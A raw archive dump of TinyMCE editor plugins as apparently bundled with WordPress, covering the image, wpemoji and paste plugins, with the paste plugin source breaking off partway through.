PK�\d[����=�=image/plugin.min.jsnu�[���!function(l){"use strict";var i,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=function(e){return!1!==e.settings.image_dimensions},u=function(e){return!0===e.settings.image_advtab},m=function(e){return e.getParam("image_prepend_url","")},n=function(e){return e.getParam("image_class_list")},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},c=function(e){return e.getParam("image_list",!1)},s=function(e){return e.getParam("images_upload_url",!1)},g=function(e){return e.getParam("images_upload_handler",!1)},f=function(e){return e.getParam("images_upload_url")},p=function(e){return e.getParam("images_upload_handler")},h=function(e){return e.getParam("images_upload_base_path")},v=function(e){return e.getParam("images_upload_credentials")},b="undefined"!=typeof l.window?l.window:Function("return this;")(),y=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:b,r=0;r<e.length&&n!==undefined&&null!==n;++r)n=n[e[r]];return n}(e.split("."),t)},x={getOrDie:function(e,t){var n=y(e,t);if(n===undefined||null===n)throw new Error(e+" not available on this browser");return n}},w=tinymce.util.Tools.resolve("tinymce.util.Promise"),C=tinymce.util.Tools.resolve("tinymce.util.Tools"),S=tinymce.util.Tools.resolve("tinymce.util.XHR"),N=function(e,t){return Math.max(parseInt(e,10),parseInt(t,10))},_=function(e,n){var r=l.document.createElement("img");function t(e,t){r.parentNode&&r.parentNode.removeChild(r),n({width:e,height:t})}r.onload=function(){t(N(r.width,r.clientWidth),N(r.height,r.clientHeight))},r.onerror=function(){t(0,0)};var a=r.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left="0px",a.width=a.height="auto",l.document.body.appendChild(r),r.src=e},T=function(e,a,t){return function n(e,r){return r=r||[],C.each(e,function(e){var t={text:e.text||e.title};e.menu?t.menu=n(e.menu):(t.value=e.value,a(t)),r.push(t)}),r}(e,t||[])},A=function(e){return e&&(e=e.replace(/px$/,"")),e},R=function(e){return 0<e.length&&/^[0-9]+$/.test(e)&&(e+="px"),e},I=function(e){if(e.margin){var t=e.margin.split(" ");switch(t.length){case 1:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[0],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[0];break;case 2:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[1];break;case 3:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[1];break;case 4:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[3]}delete e.margin}return e},t=function(e,t){var n=c(e);"string"==typeof n?S.send({url:n,success:function(e){t(JSON.parse(e))}}):"function"==typeof n?n(t):t(n)},O=function(e,t,n){function r(){n.onload=n.onerror=null,e.selection&&(e.selection.select(n),e.nodeChanged())}n.onload=function(){t.width||t.height||!d(e)||e.dom.setAttribs(n,{width:n.clientWidth,height:n.clientHeight}),r()},n.onerror=r},L=function(r){return new w(function(e,t){var n=new(x.getOrDie("FileReader"));n.onload=function(){e(n.result)},n.onerror=function(){t(n.error.message)},n.readAsDataURL(r)})},P=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),U=Object.prototype.hasOwnProperty,E=(i=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t<e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var a=e[r];for(var o in a)U.call(a,o)&&(n[o]=i(n[o],a[o]))}return n}),k=P.DOM,M=function(e){return e.style.marginLeft&&e.style.marginRight&&e.style.marginLeft===e.style.marginRight?A(e.style.marginLeft):""},D=function(e){return e.style.marginTop&&e.style.marginBottom&&e.style.marginTop===e.style.marginBottom?A(e.style.marginTop):""},z=function(e){return e.style.borderWidth?A(e.style.borderWidth):""},B=function(e,t){return e.hasAttribute(t)?e.getAttribute(t):""},H=function(e,t){return e.style[t]?e.style[t]:""},j=function(e){return null!==e.parentNode&&"FIGURE"===e.parentNode.nodeName},F=function(e,t,n){e.setAttribute(t,n)},W=function(e){var t,n,r,a;j(e)?(a=(r=e).parentNode,k.insertAfter(r,a),k.remove(a)):(t=e,n=k.create("figure",{"class":"image"}),k.insertAfter(n,t),n.appendChild(t),n.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),n.contentEditable="false")},J=function(e,t){var n=e.getAttribute("style"),r=t(null!==n?n:"");0<r.length?(e.setAttribute("style",r),e.setAttribute("data-mce-style",r)):e.removeAttribute("style")},V=function(e,r){return function(e,t,n){e.style[t]?(e.style[t]=R(n),J(e,r)):F(e,t,n)}},G=function(e,t){return e.style[t]?A(e.style[t]):B(e,t)},$=function(e,t){var n=R(t);e.style.marginLeft=n,e.style.marginRight=n},X=function(e,t){var n=R(t);e.style.marginTop=n,e.style.marginBottom=n},q=function(e,t){var n=R(t);e.style.borderWidth=n},K=function(e,t){e.style.borderStyle=t},Q=function(e){return"FIGURE"===e.nodeName},Y=function(e,t){var n=l.document.createElement("img");return F(n,"style",t.style),(M(n)||""!==t.hspace)&&$(n,t.hspace),(D(n)||""!==t.vspace)&&X(n,t.vspace),(z(n)||""!==t.border)&&q(n,t.border),(H(n,"borderStyle")||""!==t.borderStyle)&&K(n,t.borderStyle),e(n.getAttribute("style"))},Z=function(e,t){return{src:B(t,"src"),alt:B(t,"alt"),title:B(t,"title"),width:G(t,"width"),height:G(t,"height"),"class":B(t,"class"),style:e(B(t,"style")),caption:j(t),hspace:M(t),vspace:D(t),border:z(t),borderStyle:H(t,"borderStyle")}},ee=function(e,t,n,r,a){n[r]!==t[r]&&a(e,r,n[r])},te=function(r,a){return function(e,t,n){r(e,n),J(e,a)}},ne=function(e,t,n){var r=Z(e,n);ee(n,r,t,"caption",function(e,t,n){return W(e)}),ee(n,r,t,"src",F),ee(n,r,t,"alt",F),ee(n,r,t,"title",F),ee(n,r,t,"width",V(0,e)),ee(n,r,t,"height",V(0,e)),ee(n,r,t,"class",F),ee(n,r,t,"style",te(function(e,t){return F(e,"style",t)},e)),ee(n,r,t,"hspace",te($,e)),ee(n,r,t,"vspace",te(X,e)),ee(n,r,t,"border",te(q,e)),ee(n,r,t,"borderStyle",te(K,e))},re=function(e,t){var n=e.dom.styles.parse(t),r=I(n),a=e.dom.styles.parse(e.dom.styles.serialize(r));return e.dom.styles.serialize(a)},ae=function(e){var t=e.selection.getNode(),n=e.dom.getParent(t,"figure.image");return n?e.dom.select("img",n)[0]:t&&("IMG"!==t.nodeName||t.getAttribute("data-mce-object")||t.getAttribute("data-mce-placeholder"))?null:t},oe=function(t,e){var n=t.dom,r=n.getParent(e.parentNode,function(e){return t.schema.getTextBlockElements()[e.nodeName]},t.getBody());return r?n.split(r,e):e},ie=function(t){var e=ae(t);return e?Z(function(e){return re(t,e)},e):{src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""}},le=function(t,e){var n=function(e,t){var n=l.document.createElement("img");if(ne(e,E(t,{caption:!1}),n),F(n,"alt",t.alt),t.caption){var r=k.create("figure",{"class":"image"});return r.appendChild(n),r.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),r.contentEditable="false",r}return n}(function(e){return re(t,e)},e);t.dom.setAttrib(n,"data-mce-id","__mcenew"),t.focus(),t.selection.setContent(n.outerHTML);var r=t.dom.select('*[data-mce-id="__mcenew"]')[0];if(t.dom.setAttrib(r,"data-mce-id",null),Q(r)){var a=oe(t,r);t.selection.select(a)}else t.selection.select(r)},ue=function(e,t){var n=ae(e);n?t.src?function(t,e){var n,r=ae(t);if(ne(function(e){return re(t,e)},e,r),n=r,t.dom.setAttrib(n,"src",n.getAttribute("src")),Q(r.parentNode)){var a=r.parentNode;oe(t,a),t.selection.select(r.parentNode)}else t.selection.select(r),O(t,e,r)}(e,t):function(e,t){if(t){var n=e.dom.is(t.parentNode,"figure.image")?t.parentNode:t;e.dom.remove(n),e.focus(),e.nodeChanged(),e.dom.isEmpty(e.getBody())&&(e.setContent(""),e.selection.setCursorLocation())}}(e,n):t.src&&le(e,t)},ce=function(n,r){r.find("#style").each(function(e){var t=Y(function(e){return re(n,e)},E({src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""},r.toJSON()));e.value(t)})},se=function(t){return{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox",onchange:(o=t,function(e){var t=o.dom,n=e.control.rootControl;if(u(o)){var r=n.toJSON(),a=t.parseStyle(r.style);n.find("#vspace").value(""),n.find("#hspace").value(""),((a=I(a))["margin-top"]&&a["margin-bottom"]||a["margin-right"]&&a["margin-left"])&&(a["margin-top"]===a["margin-bottom"]?n.find("#vspace").value(A(a["margin-top"])):n.find("#vspace").value(""),a["margin-right"]===a["margin-left"]?n.find("#hspace").value(A(a["margin-right"])):n.find("#hspace").value("")),a["border-width"]?n.find("#border").value(A(a["border-width"])):n.find("#border").value(""),a["border-style"]?n.find("#borderStyle").value(a["border-style"]):n.find("#borderStyle").value(""),n.find("#style").value(t.serializeStyle(t.parseStyle(t.serializeStyle(a))))}})},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,defaults:{type:"textbox",maxWidth:50,onchange:function(e){ce(t,e.control.rootControl)}},items:[{label:"Vertical space",name:"vspace"},{label:"Border width",name:"border"},{label:"Horizontal space",name:"hspace"},{label:"Border style",type:"listbox",name:"borderStyle",width:90,maxWidth:90,onselect:function(e){ce(t,e.control.rootControl)},values:[{text:"Select...",value:""},{text:"Solid",value:"solid"},{text:"Dotted",value:"dotted"},{text:"Dashed",value:"dashed"},{text:"Double",value:"double"},{text:"Groove",value:"groove"},{text:"Ridge",value:"ridge"},{text:"Inset",value:"inset"},{text:"Outset",value:"outset"},{text:"None",value:"none"},{text:"Hidden",value:"hidden"}]}]}]};var o},de=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},me=function(e,t){var n=e.find("#width")[0],r=e.find("#height")[0],a=e.find("#constrain")[0];n&&r&&a&&t(n,r,a.checked())},ge=function(e,t,n){var r=e.state.get("oldVal"),a=t.state.get("oldVal"),o=e.value(),i=t.value();n&&r&&a&&o&&i&&(o!==r?(i=Math.round(o/r*i),isNaN(i)||t.value(i)):(o=Math.round(i/a*o),isNaN(o)||e.value(o))),de(e,t)},fe=function(e){me(e,ge)},pe=function(){var e=function(e){fe(e.control.rootControl)};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},he=function(e){me(e,de)},ve=fe,be=function(e){e.meta=e.control.rootControl.toJSON()},ye=function(s,e){var t=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:function(e){var t,n,r,a,o,i,l,u,c;n=s,i=(t=e).meta||{},l=t.control,u=l.rootControl,(c=u.find("#image-list")[0])&&c.value(n.convertURL(l.value(),"src")),C.each(i,function(e,t){u.find("#"+t).value(e)}),i.width||i.height||(r=n.convertURL(l.value(),"src"),a=m(n),o=new RegExp("^(?:[a-z]+:)?//","i"),a&&!o.test(r)&&r.substring(0,a.length)!==a&&(r=a+r),l.value(r),_(n.documentBaseURI.toAbsolute(l.value()),function(e){e.width&&e.height&&d(n)&&(u.find("#width").value(e.width),u.find("#height").value(e.height),he(u))}))},onbeforecall:be},e];return r(s)&&t.push({name:"alt",type:"textbox",label:"Image description"}),a(s)&&t.push({name:"title",type:"textbox",label:"Image Title"}),d(s)&&t.push(pe()),n(s)&&t.push({name:"class",type:"listbox",label:"Class",values:T(n(s),function(e){e.value&&(e.textStyle=function(){return s.formatter.getCssText({inline:"img",classes:[e.value]})})})}),o(s)&&t.push({name:"caption",type:"checkbox",label:"Caption"}),t},xe=function(e,t){return{title:"General",type:"form",items:ye(e,t)}},we=ye,Ce=function(){return x.getOrDie("URL")},Se=function(e){return Ce().createObjectURL(e)},Ne=function(e){Ce().revokeObjectURL(e)},_e=tinymce.util.Tools.resolve("tinymce.ui.Factory"),Te=function(){};function Ae(i){var t=function(e,r,a,t){var o,n;(o=new(x.getOrDie("XMLHttpRequest"))).open("POST",i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){t(e.loaded/e.total*100)},o.onerror=function(){a("Image upload failed due to a XHR Transport error. Code: "+o.status)},o.onload=function(){var e,t,n;o.status<200||300<=o.status?a("HTTP Error: "+o.status):(e=JSON.parse(o.responseText))&&"string"==typeof e.location?r((t=i.basePath,n=e.location,t?t.replace(/\/$/,"")+"/"+n.replace(/^\//,""):n)):a("Invalid JSON: "+o.responseText)},(n=new l.FormData).append("file",e.blob(),e.filename()),o.send(n)};return i=C.extend({credentials:!1,handler:t},i),{upload:function(e){return i.url||i.handler!==t?(r=e,a=i.handler,new w(function(e,t){try{a(r,e,t,Te)}catch(n){t(n.message)}})):w.reject("Upload url missing from the settings.");var r,a}}}var Re=function(u){return function(e){var t=_e.get("Throbber"),n=e.control.rootControl,r=new t(n.getEl()),a=e.control.value(),o=Se(a),i=Ae({url:f(u),basePath:h(u),credentials:v(u),handler:p(u)}),l=function(){r.hide(),Ne(o)};return r.show(),L(a).then(function(e){var t=u.editorUpload.blobCache.create({blob:a,blobUri:o,name:a.name?a.name.replace(/\.[^\.]+$/,""):null,base64:e.split(",")[1]});return i.upload(t).then(function(e){var t=n.find("#src");return t.value(e),n.find("tabpanel")[0].activateTab(0),t.fire("change"),l(),e})})["catch"](function(e){u.windowManager.alert(e),l()})}},Ie=".jpg,.jpeg,.png,.gif",Oe=function(e){return{title:"Upload",type:"form",layout:"flex",direction:"column",align:"stretch",padding:"20 20 20 20",items:[{type:"container",layout:"flex",direction:"column",align:"center",spacing:10,items:[{text:"Browse for an image",type:"browsebutton",accept:Ie,onchange:Re(e)},{text:"OR",type:"label"}]},{text:"Drop an image here",type:"dropzone",accept:Ie,height:100,onchange:Re(e)}]}};function Le(r){for(var a=[],e=1;e<arguments.length;e++)a[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=a.concat(e);return r.apply(null,n)}}var Pe=function(t,e){var n=e.control.getRoot();ve(n),t.undoManager.transact(function(){var e=E(ie(t),n.toJSON());ue(t,e)}),t.editorUpload.uploadImagesAuto()};function Ue(o){function e(e){var n,t,r=ie(o);if(e&&(t={type:"listbox",label:"Image list",name:"image-list",values:T(e,function(e){e.value=o.convertURL(e.value||e.url,"src")},[{text:"None",value:""}]),value:r.src&&o.convertURL(r.src,"src"),onselect:function(e){var t=n.find("#alt");(!t.value()||e.lastControl&&t.value()===e.lastControl.text())&&t.value(e.control.text()),n.find("#src").value(e.control.value()).fire("change")},onPostRender:function(){t=this}}),u(o)||s(o)||g(o)){var a=[xe(o,t)];u(o)&&a.push(se(o)),(s(o)||g(o))&&a.push(Oe(o)),n=o.windowManager.open({title:"Insert/edit image",data:r,bodyType:"tabpanel",body:a,onSubmit:Le(Pe,o)})}else n=o.windowManager.open({title:"Insert/edit image",data:r,body:we(o,t),onSubmit:Le(Pe,o)});he(n)}return{open:function(){t(o,e)}}}var Ee=function(e){e.addCommand("mceImage",Ue(e).open)},ke=function(o){return function(e){for(var t,n,r=e.length,a=function(e){e.attr("contenteditable",o?"true":null)};r--;)t=e[r],(n=t.attr("class"))&&/\bimage\b/.test(n)&&(t.attr("contenteditable",o?"false":null),C.each(t.getAll("figcaption"),a))}},Me=function(e){e.on("preInit",function(){e.parser.addNodeFilter("figure",ke(!0)),e.serializer.addNodeFilter("figure",ke(!1))})},De=function(e){e.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:Ue(e).open,stateSelector:"img:not([data-mce-object],[data-mce-placeholder]),figure.image"}),e.addMenuItem("image",{icon:"image",text:"Image",onclick:Ue(e).open,context:"insert",prependToContext:!0})};e.add("image",function(e){Me(e),De(e),Ee(e)})}(window);PK�\d[�S�q�
�
wpemoji/plugin.jsnu�[���( function( tinymce ) {
	tinymce.PluginManager.add( 'wpemoji', function( editor ) {
		var typing,
			wp = window.wp,
			settings = window._wpemojiSettings,
			env = tinymce.Env,
			ua = window.navigator.userAgent,
			isWin = ua.indexOf( 'Windows' ) > -1,
			isWin8 = ( function() {
				var match = ua.match( /Windows NT 6\.(\d)/ );

				if ( match && match[1] > 1 ) {
					return true;
				}

				return false;
			}());

		if ( ! wp || ! wp.emoji || settings.supports.everything ) {
			return;
		}

		function setImgAttr( image ) {
			image.className = 'emoji';
			image.setAttribute( 'data-mce-resize', 'false' );
			image.setAttribute( 'data-mce-placeholder', '1' );
			image.setAttribute( 'data-wp-emoji', '1' );
		}

		function replaceEmoji( node ) {
			var imgAttr = {
				'data-mce-resize': 'false',
				'data-mce-placeholder': '1',
				'data-wp-emoji': '1'
			};

			wp.emoji.parse( node, { imgAttr: imgAttr } );
		}

		// Test if the node text contains emoji char(s) and replace.
		function parseNode( node ) {
			var selection, bookmark;

			if ( node && window.twemoji && window.twemoji.test( node.textContent || node.innerText ) ) {
				if ( env.webkit ) {
					selection = editor.selection;
					bookmark = selection.getBookmark();
				}

				replaceEmoji( node );

				if ( env.webkit ) {
					selection.moveToBookmark( bookmark );
				}
			}
		}

		if ( isWin8 ) {
			/*
			 * Windows 8+ emoji can be "typed" with the onscreen keyboard.
			 * That triggers the normal keyboard events, but not the 'input' event.
			 * Thankfully it sets keyCode 231 when the onscreen keyboard inserts any emoji.
			 */
			editor.on( 'keyup', function( event ) {
				if ( event.keyCode === 231 ) {
					parseNode( editor.selection.getNode() );
				}
			} );
		} else if ( ! isWin ) {
			/*
			 * In MacOS inserting emoji doesn't trigger the stanradr keyboard events.
			 * Thankfully it triggers the 'input' event.
			 * This works in Android and iOS as well.
			 */
			editor.on( 'keydown keyup', function( event ) {
				typing = ( event.type === 'keydown' );
			} );

			editor.on( 'input', function() {
				if ( typing ) {
					return;
				}

				parseNode( editor.selection.getNode() );
			});
		}

		editor.on( 'setcontent', function( event ) {
			var selection = editor.selection,
				node = selection.getNode();

			if ( window.twemoji && window.twemoji.test( node.textContent || node.innerText ) ) {
				replaceEmoji( node );

				// In IE all content in the editor is left selected after wp.emoji.parse()...
				// Collapse the selection to the beginning.
				if ( env.ie && env.ie < 9 && event.load && node && node.nodeName === 'BODY' ) {
					selection.collapse( true );
				}
			}
		} );

		// Convert Twemoji compatible pasted emoji replacement images into our format.
		editor.on( 'PastePostProcess', function( event ) {
			if ( window.twemoji ) {
				tinymce.each( editor.dom.$( 'img.emoji', event.node ), function( image ) {
					if ( image.alt && window.twemoji.test( image.alt ) ) {
						setImgAttr( image );
					}
				});
			}
		});

		editor.on( 'postprocess', function( event ) {
			if ( event.content ) {
				event.content = event.content.replace( /<img[^>]+data-wp-emoji="[^>]+>/g, function( img ) {
					var alt = img.match( /alt="([^"]+)"/ );

					if ( alt && alt[1] ) {
						return alt[1];
					}

					return img;
				});
			}
		} );

		editor.on( 'resolvename', function( event ) {
			if ( event.target.nodeName === 'IMG' && editor.dom.getAttrib( event.target, 'data-wp-emoji' ) ) {
				event.preventDefault();
			}
		} );
	} );
} )( window.tinymce );
PK�\d[
@|���wpemoji/plugin.min.jsnu�[���!function(m){m.PluginManager.add("wpemoji",function(n){var t,o=window.wp,e=window._wpemojiSettings,i=m.Env,a=window.navigator.userAgent,w=-1<a.indexOf("Windows"),a=!!((a=a.match(/Windows NT 6\.(\d)/))&&1<a[1]);function d(e){o.emoji.parse(e,{imgAttr:{"data-mce-resize":"false","data-mce-placeholder":"1","data-wp-emoji":"1"}})}function c(e){var t,o;e&&window.twemoji&&window.twemoji.test(e.textContent||e.innerText)&&(i.webkit&&(o=(t=n.selection).getBookmark()),d(e),i.webkit)&&t.moveToBookmark(o)}o&&o.emoji&&!e.supports.everything&&(a?n.on("keyup",function(e){231===e.keyCode&&c(n.selection.getNode())}):w||(n.on("keydown keyup",function(e){t="keydown"===e.type}),n.on("input",function(){t||c(n.selection.getNode())})),n.on("setcontent",function(e){var t=n.selection,o=t.getNode();window.twemoji&&window.twemoji.test(o.textContent||o.innerText)&&(d(o),i.ie)&&i.ie<9&&e.load&&o&&"BODY"===o.nodeName&&t.collapse(!0)}),n.on("PastePostProcess",function(e){window.twemoji&&m.each(n.dom.$("img.emoji",e.node),function(e){e.alt&&window.twemoji.test(e.alt)&&((e=e).className="emoji",e.setAttribute("data-mce-resize","false"),e.setAttribute("data-mce-placeholder","1"),e.setAttribute("data-wp-emoji","1"))})}),n.on("postprocess",function(e){e.content&&(e.content=e.content.replace(/<img[^>]+data-wp-emoji="[^>]+>/g,function(e){var t=e.match(/alt="([^"]+)"/);return t&&t[1]?t[1]:e}))}),n.on("resolvename",function(e){"IMG"===e.target.nodeName&&n.dom.getAttrib(e.target,"data-wp-emoji")&&e.preventDefault()}))})}(window.tinymce);PK�\d[�Z:��A�Apaste/plugin.jsnu�[���(function () {
var paste = (function (domGlobals) {
    'use strict';

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var global$1 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var hasProPlugin = function (editor) {
      if (/(^|[ ,])powerpaste([, ]|$)/.test(editor.settings.plugins) && global$1.get('powerpaste')) {
        if (typeof domGlobals.window.console !== 'undefined' && domGlobals.window.console.log) {
          domGlobals.window.console.log('PowerPaste is incompatible with Paste plugin! Remove \'paste\' from the \'plugins\' option.');
        }
        return true;
      } else {
        return false;
      }
    };
    var DetectProPlugin = { hasProPlugin: hasProPlugin };

    var get = function (clipboard, quirks) {
      return {
        clipboard: clipboard,
        quirks: quirks
      };
    };
    var Api = { get: get };

    var firePastePreProcess = function (editor, html, internal, isWordHtml) {
      return editor.fire('PastePreProcess', {
        content: html,
        internal: internal,
        wordContent: isWordHtml
      });
    };
    var firePastePostProcess = function (editor, node, internal, isWordHtml) {
      return editor.fire('PastePostProcess', {
        node: node,
        internal: internal,
        wordContent: isWordHtml
      });
    };
    var firePastePlainTextToggle = function (editor, state) {
      return editor.fire('PastePlainTextToggle', { state: state });
    };
    var firePaste = function (editor, ieFake) {
      return editor.fire('paste', { ieFake: ieFake });
    };
    var Events = {
      firePastePreProcess: firePastePreProcess,
      firePastePostProcess: firePastePostProcess,
      firePastePlainTextToggle: firePastePlainTextToggle,
      firePaste: firePaste
    };

    var shouldPlainTextInform = function (editor) {
      return editor.getParam('paste_plaintext_inform', true);
    };
    var shouldBlockDrop = function (editor) {
      return editor.getParam('paste_block_drop', false);
    };
    var shouldPasteDataImages = function (editor) {
      return editor.getParam('paste_data_images', false);
    };
    var shouldFilterDrop = function (editor) {
      return editor.getParam('paste_filter_drop', true);
    };
    var getPreProcess = function (editor) {
      return editor.getParam('paste_preprocess');
    };
    var getPostProcess = function (editor) {
      return editor.getParam('paste_postprocess');
    };
    var getWebkitStyles = function (editor) {
      return editor.getParam('paste_webkit_styles');
    };
    var shouldRemoveWebKitStyles = function (editor) {
      return editor.getParam('paste_remove_styles_if_webkit', true);
    };
    var shouldMergeFormats = function (editor) {
      return editor.getParam('paste_merge_formats', true);
    };
    var isSmartPasteEnabled = function (editor) {
      return editor.getParam('smart_paste', true);
    };
    var isPasteAsTextEnabled = function (editor) {
      return editor.getParam('paste_as_text', false);
    };
    var getRetainStyleProps = function (editor) {
      return editor.getParam('paste_retain_style_properties');
    };
    var getWordValidElements = function (editor) {
      var defaultValidElements = '-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,' + '-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,' + 'td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody';
      return editor.getParam('paste_word_valid_elements', defaultValidElements);
    };
    var shouldConvertWordFakeLists = function (editor) {
      return editor.getParam('paste_convert_word_fake_lists', true);
    };
    var shouldUseDefaultFilters = function (editor) {
      return editor.getParam('paste_enable_default_filters', true);
    };
    var Settings = {
      shouldPlainTextInform: shouldPlainTextInform,
      shouldBlockDrop: shouldBlockDrop,
      shouldPasteDataImages: shouldPasteDataImages,
      shouldFilterDrop: shouldFilterDrop,
      getPreProcess: getPreProcess,
      getPostProcess: getPostProcess,
      getWebkitStyles: getWebkitStyles,
      shouldRemoveWebKitStyles: shouldRemoveWebKitStyles,
      shouldMergeFormats: shouldMergeFormats,
      isSmartPasteEnabled: isSmartPasteEnabled,
      isPasteAsTextEnabled: isPasteAsTextEnabled,
      getRetainStyleProps: getRetainStyleProps,
      getWordValidElements: getWordValidElements,
      shouldConvertWordFakeLists: shouldConvertWordFakeLists,
      shouldUseDefaultFilters: shouldUseDefaultFilters
    };

    var shouldInformUserAboutPlainText = function (editor, userIsInformedState) {
      return userIsInformedState.get() === false && Settings.shouldPlainTextInform(editor);
    };
    var displayNotification = function (editor, message) {
      editor.notificationManager.open({
        text: editor.translate(message),
        type: 'info'
      });
    };
    var togglePlainTextPaste = function (editor, clipboard, userIsInformedState) {
      if (clipboard.pasteFormat.get() === 'text') {
        clipboard.pasteFormat.set('html');
        Events.firePastePlainTextToggle(editor, false);
      } else {
        clipboard.pasteFormat.set('text');
        Events.firePastePlainTextToggle(editor, true);
        if (shouldInformUserAboutPlainText(editor, userIsInformedState)) {
          displayNotification(editor, 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.');
          userIsInformedState.set(true);
        }
      }
      editor.focus();
    };
    var Actions = { togglePlainTextPaste: togglePlainTextPaste };

    var register = function (editor, clipboard, userIsInformedState) {
      editor.addCommand('mceTogglePlainTextPaste', function () {
        Actions.togglePlainTextPaste(editor, clipboard, userIsInformedState);
      });
      editor.addCommand('mceInsertClipboardContent', function (ui, value) {
        if (value.content) {
          clipboard.pasteHtml(value.content, value.internal);
        }
        if (value.text) {
          clipboard.pasteText(value.text);
        }
      });
    };
    var Commands = { register: register };

    var global$2 = tinymce.util.Tools.resolve('tinymce.Env');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.VK');

    var internalMimeType = 'x-tinymce/html';
    var internalMark = '<!-- ' + internalMimeType + ' -->';
    var mark = function (html) {
      return internalMark + html;
    };
    var unmark = function (html) {
      return html.replace(internalMark, '');
    };
    var isMarked = function (html) {
      return html.indexOf(internalMark) !== -1;
    };
    var InternalHtml = {
      mark: mark,
      unmark: unmark,
      isMarked: isMarked,
      internalHtmlMime: function () {
        return internalMimeType;
      }
    };

    var global$6 = tinymce.util.Tools.resolve('tinymce.html.Entities');

    var isPlainText = function (text) {
      return !/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(text);
    };
    var toBRs = function (text) {
      return text.replace(/\r?\n/g, '<br>');
    };
    var openContainer = function (rootTag, rootAttrs) {
      var key;
      var attrs = [];
      var tag = '<' + rootTag;
      if (typeof rootAttrs === 'object') {
        for (key in rootAttrs) {
          if (rootAttrs.hasOwnProperty(key)) {
            attrs.push(key + '="' + global$6.encodeAllRaw(rootAttrs[key]) + '"');
          }
        }
        if (attrs.length) {
          tag += ' ' + attrs.join(' ');
        }
      }
      return tag + '>';
    };
    var toBlockElements = function (text, rootTag, rootAttrs) {
      var blocks = text.split(/\n\n/);
      var tagOpen = openContainer(rootTag, rootAttrs);
      var tagClose = '</' + rootTag + '>';
      var paragraphs = global$4.map(blocks, function (p) {
        return p.split(/\n/).join('<br />');
      });
      var stitch = function (p) {
        return tagOpen + p + tagClose;
      };
      return paragraphs.length === 1 ? paragraphs[0] : global$4.map(paragraphs, stitch).join('');
    };
    var convert = function (text, rootTag, rootAttrs) {
      return rootTag ? toBlockElements(text, rootTag, rootAttrs) : toBRs(text);
    };
    var Newlines = {
      isPlainText: isPlainText,
      convert: convert,
      toBRs: toBRs,
      toBlockElements: toBlockElements
    };

    var global$7 = tinymce.util.Tools.resolve('tinymce.html.DomParser');

    var global$8 = tinymce.util.Tools.resolve('tinymce.html.Serializer');

    var global$9 = tinymce.util.Tools.resolve('tinymce.html.Node');

    var global$a = tinymce.util.Tools.resolve('tinymce.html.Schema');

    function filter(content, items) {
      global$4.each(items, function (v) {
        if (v.constructor === RegExp) {
          content = content.replace(v, '');
        } else {
          content = content.replace(v[0], v[1]);
        }
      });
      return content;
    }
    function innerText(html) {
      var schema = global$a();
      var domParser = global$7({}, schema);
      var text = '';
      var shortEndedElements = schema.getShortEndedElements();
      var ignoreElements = global$4.makeMap('script noscript style textarea video audio iframe object', ' ');
      var blockElements = schema.getBlockElements();
      function walk(node) {
        var name = node.name, currentNode = node;
        if (name === 'br') {
          text += '\n';
          return;
        }
        if (name === 'wbr') {
          return;
        }
        if (shortEndedElements[name]) {
          text += ' ';
        }
        if (ignoreElements[name]) {
          text += ' ';
          return;
        }
        if (node.type === 3) {
          text += node.value;
        }
        if (!node.shortEnded) {
          if (node = node.firstChild) {
            do {
              walk(node);
            } while (node = node.next);
          }
        }
        if (blockElements[name] && currentNode.next) {
          text += '\n';
          if (name === 'p') {
            text += '\n';
          }
        }
      }
